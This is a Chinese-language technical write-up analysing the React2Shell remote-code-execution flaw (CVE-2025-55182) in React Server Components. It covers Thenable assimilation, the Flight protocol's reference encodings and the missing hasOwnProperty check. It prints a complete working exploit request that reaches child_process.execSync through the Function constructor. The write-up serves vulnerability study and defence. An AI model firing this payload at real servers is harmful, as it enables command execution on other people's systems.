参考

phith0n师傅发布在代码审计知识星球(“Thenable的由来”、“Next.js调试环境配置”、“RSC是怎样解析数据包的?”、“React2Shell漏洞原理”)

panda师傅发布在代码审计知识星球(“React2Shell分析总结”)

CVE-2025-55182 - React Server Components RCE 漏洞深度分析

人工深度调试剖析 CVE-2025-55182 React2Shell 反序列化漏洞(一)

人工调试剖析 React2Shell 反序列化漏洞(二)- 原理、利用及 Bypass WAF 等

全网最优雅的 React 源码调试方式

来自Github的kavienanj的分析

为了真正看懂这个漏洞,我前后花了相当多的时间。期间反复对照了多篇不同视角的分析文章,又结合源码调试,一步一步跟着解析流程往下走,才逐渐把整条利用链串起来。

也正是在这个过程中,才越发体会到最初发现这个漏洞的研究者有多细。它并不是那种一眼可见的实现错误,而是藏在一系列内部细节产生的逻辑缝隙。能在这样复杂的解析路径里意识到数据正在被当成逻辑使用,本身就需要对 React 内部机制、JavaScript Promise/Thenable 行为以及 RSC 协议细节都有非常深入的理解。

1. 简介

2025年11月底,一个CVSS评分达到10.0的漏洞被披露,在安全和开发社区都引起了很大的轰动。这一现象级的漏洞被编号为CVE-2025-55182,因其攻击复杂度低、无需权限、无需用户交互、影响范围广,被研究者形象的命名为React2Shell。记得刚放出来时,还产生了很多分歧,有的人觉得可以对标曾经的Log4j,也有的人觉得仅是虚张声势。漏洞存在于 React Server Components (RSC) 的核心实现中,并通过Next.js等基于React的主流框架在实际环境中被放大。

在Web开发的演进过程中,React的作用逐渐不再只是一个前端库,随着Next.js等框架的普及,React正在向全栈架构迁移,组件不再只局限于浏览器执行,而是开始参与服务端逻辑。RSC的引入正式这一趋势的体现,其设计旨在于缓解客户端渲染带来的 Bundle 体积膨胀与交互延迟问题,通过允许组件逻辑在服务端运行,并以流的方式向客户端传递渲染结果。

但是这样的演变从开发的角度来看,确实是使其变得愈发强大,但是从安全的视角来看,这种设计无形中改变了应用的前后端信任问题。

2. 基础部分

想要深刻理解CVE-2025-55182的机制,需要理解为何其可以利用一个简单的结构劫持服务端的执行,那么就需要了解一系列的基础知识。

2.1 JavaScript异步机制

JavaScript 早期的一些异步操作,如网络请求(Ajax)、文件读取等,主要依赖回调函数来实现。本质上,这类异步操作并不会阻塞当前执行流程,而是在发起异步任务后立即返回,当前函数执行结束,后续逻辑暂时“挂起”,等异步任务完成后,再通过回调函数的形式重新进入执行流程。

这种模型在处理简单的线性逻辑时尚可接受,但一旦业务逻辑变得复杂,尤其是存在多个相互依赖的异步步骤时,代码就会演化为层层嵌套的回调结构,即所谓的回调地狱。在这种模式下,控制流被拆散在多个回调函数中,不仅影响代码的可读性和可维护性,也使得错误处理和执行顺序的理解变得异常困难。

为了解决回调地狱的问题,ES6引入了Promise。Promise 并没有改变“异步任务会让出执行权”的本质,而是将“挂起 → 等待 → 恢复执行”这一过程显式地建模出来:当Promise处于pending状态时,当前执行流程暂停.当Promise被resolvereject时,之前挂起的逻辑会被重新调度并继续向下执行。通过链式的then()调用,原本分散在多个回调中的执行顺序,被重新组织成一条连续的异步执行链。

JavaScript 为了兼容 Promise 与“类 Promise”,引入了 Thenable 同化 机制:当 await x(或 Promise resolve)拿到一个值 x 时,它不会只看 x 是不是 Promise 实例,而是会读取 x.then。只要 then 是一个可调用函数,JS 就会把 x 当作 Thenable,并自动执行:

  • 调用 x.then(resolve, reject)
  • 递归等待,直到拿到一个不再是 Thenable 的最终值

所以,“Thenable”本质不是某个类型,而是对象只要“长得像 Promise”(有可调用的 then),就会被 await 当作异步对象执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 一个真正的 Promise
const p = Promise.resolve("ok");

// 一个伪造的 Thenable:只是普通对象,但长得像 Promise
const fakeThenable = {
then(resolve, reject) {
console.log("[fakeThenable] hijack then()");
// 攻击者可以决定:何时 resolve、resolve 什么、甚至永远不 resolve
resolve("pwned");
},
};

(async () => {
console.log(await p); // ok
console.log(await fakeThenable); // pwned (它是我们伪造的Promise,但await仍然可以使用)
})();

image-20251231140944196

await会执行Thenable同化,读取x.then,如果then是可调用的函数,就按照thenable规则调用它(传入resolve/reject),并递归等待结果直到拿到非thenable值。

这是javascript设计出来的一种编码的灵活性,但是一旦这种灵活性变成了用户可控,就会变成风险,攻击者可以伪造出含有then方法的对象,即伪造Thenable。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function processResult(result) {
// 开发者本来只是想:支持 Promise 或普通值
const v = await result;
console.log("result =", v);
}
// 但一旦攻击者传入的数据为以下(本来应该只是传入数据):
const userData = {
user: "alice",
then(resolve) {
console.log("[userData] you thought I was data :)");
resolve("controlled by attacker");
},
};

processResult(userData);
// 输出:
// [userData] you thought I was data :)
// result = controlled by attacker

image-20251231142555490

这也是React2Shell这个洞利用链的核心起点之一,React服务器组件在反序列化用户的输入时,没有严格的区分普通数据和Thenable对象,使得攻击者可以通过JSON传入数据里带有then属性的对象,且该对象被当作Promise对象处理。

另外,该漏洞还利用了javascript的另一个特性,当Promise的resolve()方法中传入了一个Promise或Thenable时,JS引擎不会直接把它当作值,而是会对齐进行解包,调用其.then()并递归等待其完成(也就是说如果解出来的还是Promise或Thenable对象就会继续解),直到拿到非Promise的最终值。例如:

1
2
3
Promise.resolve(1)
.then(x => Promise.resolve(x + 1))
.then(x => console.log(x)); // 输出结果将是2,而不是一个Promise对象

image-20251231144639363

如上图,第二行的then返回了一个Promise,JS自动解包它,并将结果2传入到下一个then中,最终输出。React2Shell就是利用了这个特点,RSC 的反序列化/引用解码过程中,会把攻击者构造出来的对象推进到 thenable 同化路径里执行。

2.2 React Server Components (RSC) 与 Flight 协议

RSC与客户端的通信基于React定制的Flight协议。为了在服务端和客户端之间传递复杂的UI树结构和数据,React团队设计了Flight协议,当客户端触发Server Action时,就会发送一个包含序列化数据的POST请求到服务器。该请求采用multipart/form-data格式,每个表单字段代表一段数据chunk,字段名通常是序号(0、1、2、3等)。

这里引用panda师傅对Flight协议的一段解释,Flight主要用来:

Server –> Client :把Server Components生成的UI结果,序列化成一串“Flight数据流”,通过HTTP传给浏览器,由客户端React按协议反序列化、拼成最终UI。

Client –> Server :浏览器在执行Server Actions / 交互时,把参数等信息按Flight格式编码,POST回服务器,由React的解析器解包、找到对应的Server Function去执行。

image-20251231152005728

图中左侧就是Client –> Server的请求题,每个name=x就是Reply里的一段chunk

右侧是Server –> Client的Flight响应,他是按照行记录流式输出的(<id>:<tag><payload>

左边的其实就是把参数/引用关系送回服务器,而右边则是服务器如何用Flight吧UI/模块依赖再送回浏览器,可以发现他和传统的直接返回html结构是不一样的。

服务器端的RSC在收到数据后怎么解析呢?

  1. 遍历所有的Multipart字段:逐个读取每个部分的JSON字符串,并使用JSON.parse()将其解析为对象。解析时不会立即处理特殊标记,先得到基础的对象结构。
  2. 处理特殊标记和引用:React随后会递归的遍历每个解析出来的对象的所有子属性,如果发现某个值是以$符号开头,则按Flight协议的规则进行处理。Flight协议定义了一系列以$开头的类型编码。常见编码如下表:
标记 含义 示例 解析结果
$ 引用其他Chunk的值 “$1” 引用Chunk 1的值
$@ 引用Chunk对象本身(Promise) “$@1” 引用Chunk 1对象(Thenable)
$B 二进制数据Blob引用 “$B1337” 用于合并二进制数据块(可被滥用)
(注:此表根据Flight协议节选,涵盖本次漏洞相关的关键标记)

说明一下:Flight 的 $ 编码分支很多。为了把 React2Shell 的利用链讲清楚,本文只聚焦与漏洞直接相关的三类能力:

1)引用与路径行走$<id>:a:b:c 这类先取 chunk,再按用户给的 path 一段段取属性的机制。

2)取 Chunk 实例本体$@<id> 会返回 Chunk 对象本身(Chunk 本身是 thenable),而不是它的 value。

3)**$B 分支**:触发从 _response 上拼 key、再调用 _formData.get(key) 的逻辑(后面会看到这条分支如何被劫持成 Function(key))。

这三者叠加起来,才构成了 React2Shell 的可利用面。

以上机制拓展了JSON无法直接表示的一系列类型,使得RSC可以传递例如日期、二进制流、引用等复杂的数据类型。例如服务器在解析时遇到$<id>或者$@<id>时,会取出对应id的chunk或值来替换当前字段。

需要注意的是,Flight 的引用解析允许出现“跨 chunk 取值”的场景:比如某个字段里写了$<id>:path...,React 会先getChunk(response, id)取到目标chunk,然后在必要时触发initializeModelChunk(targetChunk)去把它从 JSON 字符串初始化成真实 JS 值,最后再按 :path 逐段做属性访问(value = value[path[i]])。

在实现层面,React 的确需要处理“引用目标尚未就绪”的情况:如果目标 chunk 还没被初始化(比如仍是 resolved_model),就会先初始化它;如果目标 chunk 因为其它原因暂时不可用(例如读取失败或尚未生成),解析流程会暂时挂起,等待后续条件满足再继续。可以把它理解为:引用解析本身会驱动 chunk 的“就绪化”过程

也正因为 chunk 是 React 内部用来承载“解析中的值”的核心结构,它会带有诸如 status / value / reason 等字段,用来描述自己当前处于“未初始化 / 已初始化 / 出错”等状态。后面我们之所以能够伪造一个“看起来像内部 chunk 的对象”,正是利用了这些字段在解析路径中会被读取和信任这一点。

2.3 ReactFlightReplyServer.js的一些函数

看懂payload的前提,需要先理解RSC的Reply解析器是怎么工作的

以下是参考Kavienanj J提炼出来的一些我们必须知道的关键片段

Response

传递主要的上下文对象:

1
2
3
4
type Response = {
_formData: FormData, // raw incoming chunks as strings
_chunks: Map<number, SomeChunk<any>> // parsed "chunk objects"
};

(Response里包括FormData、chunks表等内容)

Chunk

React用一个类似Promise的对象(Chunk)来承载解析中的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response; // The response context
}

Chunk.prototype = Object.create(Promise.prototype);

// Custom .then implementation
Chunk.prototype.then = function (resolve, reject) {
const chunk = this;

// If it's just holding a JSON string, initialize it first
if (chunk.status === "resolved_model") {
initializeModelChunk(chunk);
}

// Resolve immediately if status is initialized
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
// other states...
}
};

Chunk有状态,例如:

  • RESPONSE_MODEL = resolved_model: 表示当前chunk里还是原始json字符串(未parse)
  • INITIALIZED = fulfilled: 表示已经解析完成,value变成了真正的JS值

Chunk之所以关键,因为他是thenable的,也就是await chunk时会触发Chunk.prototype.then()

getChunk和getRoot

getChunk(response, id) 会尝试从response._chunks里取某个id对应的chunk

getRoot(response) 类似于getChunk(response, 0),也就是获取第一个chunk

reviveModel

reviveModel会递归处理JSON树,在字符串位置识别$前缀,并按照Flight的规则解码各种特殊引用

以下是简化版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
function reviveModel(chunk, value) {
if (typeof value === "string") {
// If it's a string, it might be a special $-encoded value

if (value[0] !== "$") return value; // normal string

// Else, handle references
switch (value[1]) {
case "@": {
// IMPORTANT SECTION 1
// "$@id" → promise-like Chunk
const id = parseInt(value.slice(2), 16);
const refChunk = getChunk(chunk._response, id);
return refChunk;
}

case "B": {
// IMPORTANT SECTION 2
const id = parseInt(value.slice(2), 16);
const prefix = chunk._response._prefix;
const blobKey = prefix + id;
const backingEntry = chunk._response._formData.get(blobKey);
return backingEntry;
}

// A lot of other cases for more functionalities...

default: {
// Anything else → treat as a reference id/path, e.g. "1", "2:fruitName", "1:then"
const ref = value.slice(1);
return getOutlinedModel(chunk, ref);
}
}
}

if (Array.isArray(value)) {
// Recursively revive each element
for (let i = 0; i < value.length; i++) {
value[i] = reviveModel(chunk, value[i]);
}
} else if (value && typeof value === "object") {
// Recursively revive each property on the object
for (const key in value) {
value[key] = reviveModel(chunk, value[key]);
}
}

// For numbers, booleans, null, etc., just return as-is
return value;
}

比较关键的几个分支是:

  • $@id —> 直接返回Chunk对象本身
  • $Bid —> 从FormData里取出blob/file (重要,因为其中会用到 _prefix_formData.get
  • $id$id:path —> 走getOutlinedModel() 去解析引用与属性路径

getOutlinedModel

这个函数是主要处理实际引用字符串内容的,例如”1”、”2:fruitName”或是”1:then”这样的,并实际处理它们。

简化源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function getOutlinedModel(currentChunk, reference) {
const path = reference.split(":"); // "2:fruitName" -> ["2", "fruitName"]
const id = parseInt(path[0], 16); // first part is chunk id (hex)
const targetChunk = getChunk(currentChunk._response, id); // get that chunk

if (targetChunk.status === "resolved_model") {
initializeModelChunk(targetChunk); // parse it if it's still just JSON
}

if (targetChunk.status === "fulfilled") {
// IMPORTANT SECTION 3
// Walk through the remaining path keys
let value = targetChunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // e.g. value = value["then"]
}

return value; // usually just returns value
}
}

注意这里的

1
value = value[path[i]];

path[i]来自用户提供的”$...:...:...“ 字符串。

initializeModelChunk(chunk)

这是关键函数,它把一个RESOLVED_MODEL状态的chunk(此时还是字符串)变成真正的JS值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function initializeModelChunk(chunk) {
try {
// 1. Parse the JSON string
const rawModel = JSON.parse(chunk.value /* original string */);

// 2. Recursively walk the tree and replace $-strings with real values
const value = reviveModel(chunk, rawModel);

// 3. If everything is fine, mark as "fulfilled" with final JS value
chunk.status = "fulfilled";
chunk.value = value;
} catch (error) {
// (error handling omitted for simplicity)
}
}

重点是两步:

  1. JSON.parse(chunk.value):把原始字符串变成对象
  2. reviveModel(chunk, rwaModel):递归遍历,把所有$..形式的引用编码还原成真实值

总结(执行顺序)

下面是chunk在React解码流水线里流转的大致顺序

  1. 入口:调用getRoot(response),内部实际上是调用getChunk(response, 0)来获取根chunk(也就是id为0的chunk)
  2. 取chunk:返回的chunk对象通常是status="resolved_model",表示这只是还没parse的JSON字符串
  3. await chunk:当chunk被await,JS会因为他是thenable而调用Chunk.prototype.then()
  4. 初始化:在.then()里,如果chunk.status===”resolved_model”,就会调用initializeModelChunk()去parse
  5. JSON解析:initializeModelChunk()JSON.parse()得到JS对象
  6. Reviving引用:然后调用reviveModel(),遍历递归整棵树,按照Flight协议把字符串替换成真实值
  7. path解析:在getOutlinedModel()里,如果reference有:path(例如“2:fruitName”),就逐段执行value=value[path[i]]
  8. 最终:reviveModel()结束后,chunk的状态变为fulfilled,其value成为最终解码出来的JS对象

3. React2Shell漏洞成因

React2Shell发生主要是因为React对Flight协议进行解码时,将用户构造的恶意Payload当作了服务器组件内部的对象进行了解码,并执行了其中被插入的逻辑。主要是由于React对Flight协议进行解码时的信任,默认认为收到的数据符合协议规范,不会包含恶意结构。并且,Server Action开放了一个攻击面,使得攻击者可以直接向服务器发送伪造的Flight协议数据包。

漏洞利用者通过设计Chunk,使解析过程经历两次Thenable解包,从而把恶意对象从数据提升为内部对象。

参考vulhub项目中的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 753

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": [],
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

name=“0”:攻击者伪造的假Promise对象(关键属性:then、value、_response)

name=“1”:入口触发器,内容是 “$@0”,也就是引用 Chunk0 这个对象本身,不像$0的写法,仅仅表示取这个chunk0的值

解包过程

首先回顾一下前面说的解包执行,当一个Promise解包一个Thenable的对象时,逻辑如下:

1
2
3
4
5
6
// 伪代码
resolve(x):
if x is Thenable:
call x.then(resolve, reject)
else:
fulfill with x

第一次解包(解的是真实的Chunk0)

起点是服务端解析 Reply 时对根 Chunk 的处理,解析入口通常会 getRoot(response) 拿到 Chunk0,随后对它执行 await chunk0(或等价的 chunk0.then(…))。因为 Chunk 实例本身是 thenable,这个 await 会触发真实的Chunk.prototype.then(resolve, reject)。

在 Chunk.prototype.then 内部,如果发现 this.status === “resolved_model”,就会进入初始化流程 initializeModelChunk(this),也就是:

  • JSON.parse(chunk0.value) 得到一个 JS 对象
  • 对对象递归执行 reviveModel(),把 $… 引用解码成真实值

而这一步中,我们给 Chunk0 塞进去的"then": "$1:__proto__:then"会被当作一个普通字段参与revive。React 会去解析$1:__proto__:then,其核心目的不是“立刻调用它”,而是让 chunk0 的解析结果对象(chunk0.value)拥有一个可调用的 then

这里 Chunk1 才开始发挥作用:因为$1:__proto__:then会触发 getChunk(response, 1),而Chunk1的内容是 “$@0”

1
2
3
4
5
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

Chunk1会在 reviveModel 的 $@ 分支里被解码为Chunk0 实例本体。

1
chunk1.value = Chunk0对象 // 而不是等于chunk0.value

随后再通过 :__proto__:then显式取到 Chunk0.__proto__.then

1
$1:__proto__:then == Chunk.prototype.then // 一个真正可以执行的函数

当 React 拿到这个Chunk 0对象实例后,解析流程会自动尝试 await 它(因为Chunk本身被设计为Thenable)。这一动作触发了Chunk.prototype.then方法的执行。

我之前看到这里时,有一个疑问,为什么这一行要写成$1:__proto__:then,而不是直接写$1:then

我有尝试了一下payload,发现写成"then": "$1:then"也是可以的,猜测这样编写的目的是通过显示的访问__proto__,能绕过一些潜在干扰,精准的获取到原始的函数定义,确保后续JS在执行await操作时,能稳定触发逻辑。

第二次解包(解的是我们伪造的fakeChunk)

如以上所说,Chunk0由于是我们伪造的恶意对象,包含then方法,所以React会将其视为一个Promise对象,当React处理Chunk1时会尝试resolve这个Promise,这个过程会调用Chunk0的then方法,并开始递归解包。

在解包的过程中,React会解析Chunk0的value属性,我们在Payload中设置value为"value": "{\"then\":\"$B1337\"}"

$B代表Blob类型,React在遇到$B时,会执行特定的解析逻辑来还原二进制数据,其中逻辑为:

image-20260101200502728

其中的response也就是我们伪造的_response,可以看到,其中的内容基本都是我们可控的。并且其中的response._formData.get由于也是我们可控的,其变成了一个可控的函数名。此时就想,如果将其变成一个恶意函数,就可以达到更进一步的效果。

此处漏洞作者用到了JavaScript中的Function函数。

以下引用p神(phith0n师傅)的文章:

在JS中,一个对象的.constructor属性是这个对象的构造函数,而.constructor.constructor就是这个对象的构造函数的构造函数,而任何函数的构造函数都是Function

Function 和 eval 类似,只不过它其中的代码不是立刻执行,而是需要再次调用才能执行:

1
2
3
4
5
6
7
8
9
10
// 立刻弹窗
eval('alert(1)')

// f调用后才会弹窗
var f = Function('alert(1)')
f()

// xx.constructor.constructor()也一样
var f = {}.constructor.constructor('alert(1)')
f()

然后,由于get中执行的内容,就是我们插入的prefix中的内容加id,因此可以把prefix中插入我们想执行的恶意代码。

1
2
3
4
5
const { execSync } = process.mainModule.require("child_process");
const res = execSync("id").toString().trim();
throw Object.assign(new Error("NEXT_REDIRECT"), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`,
})

最终,当 $B1337被解析时,由于在_formData.get处设置了Function构造器,这一步操作实际上执行了new Function("恶意代码...") 。这个新生成的匿名函数对象被返回,并被赋值给了伪造 Chunk 的 then属性。在下一次await尝试 resolve 这个对象时,JS 引擎会自动调用这个then方法(也就是我们的恶意函数),从而触发 RCE。

完整的过程也引用vace老师博客中的一张图(看这位佬的博客的时候,惊叹于开发人员来分析漏洞时的一些更细致的解析和理解):

plantuml

漏洞的根本成因:属性访问未受限

整个利用链能够成立的前提,在于 React 的 getOutlinedModel 函数在解析引用路径(如 "$1:constructor:constructor")时存在缺陷。

image-20260102051547744

它使用了一个简单的循环 value = value[path[i]] 来逐层读取属性,却没有检查属性是否属于对象自身(hasOwnProperty)。这使得攻击者可以顺着原型链向上攀爬,访问到 constructor__proto__ 等敏感属性,进而获取全局的 Function 构造器。官方修复方案正是通过增加 hasOwnProperty 检查来切断这一路径。

后记

这篇文章写到这里,终于画上了一个句号。

为了彻底搞懂React2Shell,我前后花了一周的时间,翻阅了无数的文档和分析文章,花了快3天调试源码,又花了两天把我的理解整理成这篇文章。

说实话,这个过程着实不轻松。越是深入代码细节,越是感觉自己基础薄。从JS的Promise机制,到Flight协议的每一个自己饿定义,任何一个细微的知识盲区,好像都让我卡了蛮久。

感谢最初发现这个精彩的漏洞的研究者,以及像phith0n、panda、kavienanj这样公开分享的师傅们,让我能站在巨人的肩膀上把这条链走通。我只是尽量把“为什么这样”用我能理解的方式重新对齐了一遍。后续如果发现更严谨的表述或新的细节,会继续补充和修正。